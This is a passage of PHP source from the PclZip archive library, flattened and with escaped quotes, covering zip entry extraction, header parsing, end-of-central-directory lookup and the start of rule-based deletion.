{ $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_pos_entry = $v_central_dir[\'offset\']; $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir[\'entries\']; $i++) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_header = array(); if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_header[\'index\'] = $i; $v_pos_entry = ftell($this->zip_fd); $v_extract = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) { if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { if ( (strlen($v_header[\'stored_filename\']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header[\'stored_filename\'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_extract = true; } } elseif ($v_header[\'stored_filename\'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_extract = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header[\'stored_filename\'])) { $v_extract = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\'])) { $v_extract = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']>$i) { break; } } } else { $v_extract = true; } if ( ($v_extract) && ( ($v_header[\'compression\'] != 8) && ($v_header[\'compression\'] != 0))) { $v_header[\'status\'] = \'unsupported_compression\'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, "Filename \'".$v_header[\'stored_filename\']."\' is " ."compressed by an unsupported compression " ."method (".$v_header[\'compression\'].") "); return PclZip::errorCode(); } } if (($v_extract) && (($v_header[\'flag\'] & 1) == 1)) { $v_header[\'status\'] = \'unsupported_encryption\'; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, "Unsupported encryption for " ." filename \'".$v_header[\'stored_filename\'] ."\'"); return PclZip::errorCode(); } } if (($v_extract) && ($v_header[\'status\'] != \'ok\')) { $v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++]); if ($v_result != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $v_extract = false; } if ($v_extract) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header[\'offset\'])) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { $v_string = \'\'; $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } $p_file_list[$v_nb_extracted][\'content\'] = $v_string; $v_nb_extracted++; if ($v_result1 == 2) { break; } } elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } else { $v_result1 = $this->privExtractFile($v_header, $p_path, $p_remove_path, $p_remove_all_path, $p_options); if ($v_result1 < 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result1; } if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } if ($v_result1 == 2) { break; } } } } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if ($p_remove_all_path == true) { if (($p_entry[\'external\']&0x00000010)==0x00000010) { $p_entry[\'status\'] = "filtered"; return $v_result; } $p_entry[\'filename\'] = basename($p_entry[\'filename\']); } else if ($p_remove_path != "") { if (PclZipUtilPathInclusion($p_remove_path, $p_entry[\'filename\']) == 2) { $p_entry[\'status\'] = "filtered"; return $v_result; } $p_remove_path_size = strlen($p_remove_path); if (substr($p_entry[\'filename\'], 0, $p_remove_path_size) == $p_remove_path) { $p_entry[\'filename\'] = substr($p_entry[\'filename\'], $p_remove_path_size); } } if ($p_path != \'\') { $p_entry[\'filename\'] = $p_path."/".$p_entry[\'filename\']; } if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { $v_inclusion = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], $p_entry[\'filename\']); if ($v_inclusion == 0) { PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, "Filename \'".$p_entry[\'filename\']."\' is " ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); return PclZip::errorCode(); } } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (file_exists($p_entry[\'filename\'])) { if (is_dir($p_entry[\'filename\'])) { $p_entry[\'status\'] = "already_a_directory"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, "Filename \'".$p_entry[\'filename\']."\' is " ."already used by an existing directory"); return PclZip::errorCode(); } } else if (!is_writeable($p_entry[\'filename\'])) { $p_entry[\'status\'] = "write_protected"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Filename \'".$p_entry[\'filename\']."\' exists " ."and is write protected"); return PclZip::errorCode(); } } else if (filemtime($p_entry[\'filename\']) > $p_entry[\'mtime\']) { if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { } else { $p_entry[\'status\'] = "newer_exist"; if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Newer version of \'".$p_entry[\'filename\']."\' exists " ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); return PclZip::errorCode(); } } } else { } } else { if ((($p_entry[\'external\']&0x00000010)==0x00000010) || (substr($p_entry[\'filename\'], -1) == \'/\')) $v_dir_to_check = $p_entry[\'filename\']; else if (!strstr($p_entry[\'filename\'], "/")) $v_dir_to_check = ""; else $v_dir_to_check = dirname($p_entry[\'filename\']); if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry[\'external\']&0x00000010)==0x00000010))) != 1) { $p_entry[\'status\'] = "path_creation_fail"; $v_result = 1; } } } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compression\'] == 0) { if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } $v_size = $p_entry[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } fclose($v_dest_file); touch($p_entry[\'filename\'], $p_entry[\'mtime\']); } else { if (($p_entry[\'flag\'] & 1) == 1) { PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, \'File \\\'\'.$p_entry[\'filename\'].\'\\\' is encrypted. Encrypted files are not supported.\'); return PclZip::errorCode(); } if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry[\'size\'])) ) ) { $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); $v_file_content = @gzinflate($v_buffer); unset($v_buffer); if ($v_file_content === FALSE) { $p_entry[\'status\'] = "error"; return $v_result; } if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } @fwrite($v_dest_file, $v_file_content, $p_entry[\'size\']); unset($v_file_content); @fclose($v_dest_file); } @touch($p_entry[\'filename\'], $p_entry[\'mtime\']); } if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { @chmod($p_entry[\'filename\'], $p_options[PCLZIP_OPT_SET_CHMOD]); } } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileUsingTempFile(&$p_entry, &$p_options) { $v_result=1; $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.gz\'; if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_binary_data = pack(\'va1a1Va1a1\', 0x8b1f, Chr($p_entry[\'compression\']), Chr(0x00), time(), Chr(0x00), Chr(3)); @fwrite($v_dest_file, $v_binary_data, 10); $v_size = $p_entry[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_binary_data = pack(\'VV\', $p_entry[\'crc\'], $p_entry[\'size\']); @fwrite($v_dest_file, $v_binary_data, 8); @fclose($v_dest_file); if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } if (($v_src_file = @gzopen($v_gzip_temp_name, \'rb\')) == 0) { @fclose($v_dest_file); $p_entry[\'status\'] = "read_error"; PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_size = $p_entry[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($v_src_file, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_dest_file); @gzclose($v_src_file); @unlink($v_gzip_temp_name); return $v_result; } function privExtractFileInOutput(&$p_entry, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compressed_size\'] == $p_entry[\'size\']) { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); echo $v_buffer; unset($v_buffer); } else { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); $v_file_content = gzinflate($v_buffer); unset($v_buffer); echo $v_file_content; unset($v_file_content); } } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) { $v_result=1; $v_header = array(); if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compression\'] == 0) { $p_string = @fread($this->zip_fd, $p_entry[\'compressed_size\']); } else { $v_data = @fread($this->zip_fd, $p_entry[\'compressed_size\']); if (($p_string = @gzinflate($v_data)) === FALSE) { } } } else { } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_local_header[\'content\'] = $p_string; $p_string = \'\'; $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); $p_string = $v_local_header[\'content\']; unset($v_local_header[\'content\']); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privReadFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] != 0x04034b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Invalid archive structure\'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 26); if (strlen($v_binary_data) != 26) { $p_header[\'filename\'] = ""; $p_header[\'status\'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack(\'vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len\', $v_binary_data); $p_header[\'filename\'] = fread($this->zip_fd, $v_data[\'filename_len\']); if ($v_data[\'extra_len\'] != 0) { $p_header[\'extra\'] = fread($this->zip_fd, $v_data[\'extra_len\']); } else { $p_header[\'extra\'] = \'\'; } $p_header[\'version_extracted\'] = $v_data[\'version\']; $p_header[\'compression\'] = $v_data[\'compression\']; $p_header[\'size\'] = $v_data[\'size\']; $p_header[\'compressed_size\'] = $v_data[\'compressed_size\']; $p_header[\'crc\'] = $v_data[\'crc\']; $p_header[\'flag\'] = $v_data[\'flag\']; $p_header[\'filename_len\'] = $v_data[\'filename_len\']; $p_header[\'mdate\'] = $v_data[\'mdate\']; $p_header[\'mtime\'] = $v_data[\'mtime\']; if ($p_header[\'mdate\'] && $p_header[\'mtime\']) { $v_hour = ($p_header[\'mtime\'] & 0xF800) >> 11; $v_minute = ($p_header[\'mtime\'] & 0x07E0) >> 5; $v_seconde = ($p_header[\'mtime\'] & 0x001F)*2; $v_year = (($p_header[\'mdate\'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header[\'mdate\'] & 0x01E0) >> 5; $v_day = $p_header[\'mdate\'] & 0x001F; $p_header[\'mtime\'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header[\'mtime\'] = time(); } $p_header[\'stored_filename\'] = $p_header[\'filename\']; $p_header[\'status\'] = "ok"; return $v_result; } function privReadCentralFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] != 0x02014b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Invalid archive structure\'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 42); if (strlen($v_binary_data) != 42) { $p_header[\'filename\'] = ""; $p_header[\'status\'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $p_header = unpack(\'vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset\', $v_binary_data); if ($p_header[\'filename_len\'] != 0) $p_header[\'filename\'] = fread($this->zip_fd, $p_header[\'filename_len\']); else $p_header[\'filename\'] = \'\'; if ($p_header[\'extra_len\'] != 0) $p_header[\'extra\'] = fread($this->zip_fd, $p_header[\'extra_len\']); else $p_header[\'extra\'] = \'\'; if ($p_header[\'comment_len\'] != 0) $p_header[\'comment\'] = fread($this->zip_fd, $p_header[\'comment_len\']); else $p_header[\'comment\'] = \'\'; if (1) { $v_hour = ($p_header[\'mtime\'] & 0xF800) >> 11; $v_minute = ($p_header[\'mtime\'] & 0x07E0) >> 5; $v_seconde = ($p_header[\'mtime\'] & 0x001F)*2; $v_year = (($p_header[\'mdate\'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header[\'mdate\'] & 0x01E0) >> 5; $v_day = $p_header[\'mdate\'] & 0x001F; $p_header[\'mtime\'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header[\'mtime\'] = time(); } $p_header[\'stored_filename\'] = $p_header[\'filename\']; $p_header[\'status\'] = \'ok\'; if (substr($p_header[\'filename\'], -1) == \'/\') { $p_header[\'external\'] = 0x00000010; } return $v_result; } function privCheckFileHeaders(&$p_local_header, &$p_central_header) { $v_result=1; if ($p_local_header[\'filename\'] != $p_central_header[\'filename\']) { } if ($p_local_header[\'version_extracted\'] != $p_central_header[\'version_extracted\']) { } if ($p_local_header[\'flag\'] != $p_central_header[\'flag\']) { } if ($p_local_header[\'compression\'] != $p_central_header[\'compression\']) { } if ($p_local_header[\'mtime\'] != $p_central_header[\'mtime\']) { } if ($p_local_header[\'filename_len\'] != $p_central_header[\'filename_len\']) { } if (($p_local_header[\'flag\'] & 8) == 8) { $p_local_header[\'size\'] = $p_central_header[\'size\']; $p_local_header[\'compressed_size\'] = $p_central_header[\'compressed_size\']; $p_local_header[\'crc\'] = $p_central_header[\'crc\']; } return $v_result; } function privReadEndCentralDir(&$p_central_dir) { $v_result=1; $v_size = filesize($this->zipname); @fseek($this->zip_fd, $v_size); if (@ftell($this->zip_fd) != $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to go to the end of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_found = 0; if ($v_size > 26) { @fseek($this->zip_fd, $v_size-22); if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to seek back to the middle of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_binary_data = @fread($this->zip_fd, 4); $v_data = @unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] == 0x06054b50) { $v_found = 1; } $v_pos = ftell($this->zip_fd); } if (!$v_found) { $v_maximum_size = 65557; if ($v_maximum_size > $v_size) $v_maximum_size = $v_size; @fseek($this->zip_fd, $v_size-$v_maximum_size); if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to seek back to the middle of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_pos = ftell($this->zip_fd); $v_bytes = 0x00000000; while ($v_pos < $v_size) { $v_byte = @fread($this->zip_fd, 1); $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); if ($v_bytes == 0x504b0506) { $v_pos++; break; } $v_pos++; } if ($v_pos == $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); return PclZip::errorCode(); } } $v_binary_data = fread($this->zip_fd, 18); if (strlen($v_binary_data) != 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack(\'vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size\', $v_binary_data); if (($v_pos + $v_data[\'comment_size\'] + 18) != $v_size) { if (0) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'The central dir is not at the end of the archive.\' .\' Some trailing bytes exists after the archive.\'); return PclZip::errorCode(); } } if ($v_data[\'comment_size\'] != 0) { $p_central_dir[\'comment\'] = fread($this->zip_fd, $v_data[\'comment_size\']); } else $p_central_dir[\'comment\'] = \'\'; $p_central_dir[\'entries\'] = $v_data[\'entries\']; $p_central_dir[\'disk_entries\'] = $v_data[\'disk_entries\']; $p_central_dir[\'offset\'] = $v_data[\'offset\']; $p_central_dir[\'size\'] = $v_data[\'size\']; $p_central_dir[\'disk\'] = $v_data[\'disk\']; $p_central_dir[\'disk_start\'] = $v_data[\'disk_start\']; return $v_result; } function privDeleteByRule(&$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if (($v_result=$this->privOpenFd(\'rb\')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); $v_pos_entry = $v_central_dir[\'offset\']; @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_header_list = array(); $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir[\'entries\']; $i++) { $v_header_list[$v_nb_extracted] = array(); if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); return $v_result; } $v_header_list[$v_nb_extracted][\'index\'] = $i; $v_found = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) { if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { if ( (strlen($v_header_list[$v_nb_extracted][\'stored_filename\']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header_list[$v_nb_extracted][\'stored_filename\'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } elseif ( (($v_header_list[$v_nb_extracted][\'external\']&0x00000010)==0x00000010) && ($v_header_list[$v_nb_extracted][\'stored_filename\'].\'/\' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } } elseif ($v_header_list[$v_nb_extracted][\'stored_filename\'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_found = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted][\'stored_filename\'])) { $v_found = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\'])) { $v_found = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']>$i) { break; } } } else { $v_found = true; } if ($v_found) { unset($v_header_list[$v_nb_extracted]); } else { $v_nb_extracted++; } } if ($v_nb_extracted > 0) { $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; $v_temp_zip = new PclZip($v_zip_temp_name); if (($v_result = $v_temp_zip->privOpenFd(\'wb\')) != 1) { $this->privCloseFd(); return $v_result; } for ($i=0; $i<sizeof($v_header_list); $i++) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header_list[$i][\'offset\'])) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_local_header = array(); if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if ($this->privCheckFileHeaders($v_local_header, $v_header_list[$i]) != 1) { } unset($v_local_header); if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i][\'compressed_size\'])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } } $v_offset = @ftell($v_temp_zip->zip_fd); for ($i=0; $i<sizeof($v_header_list); $i++) { if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) { $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = \'\'; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, 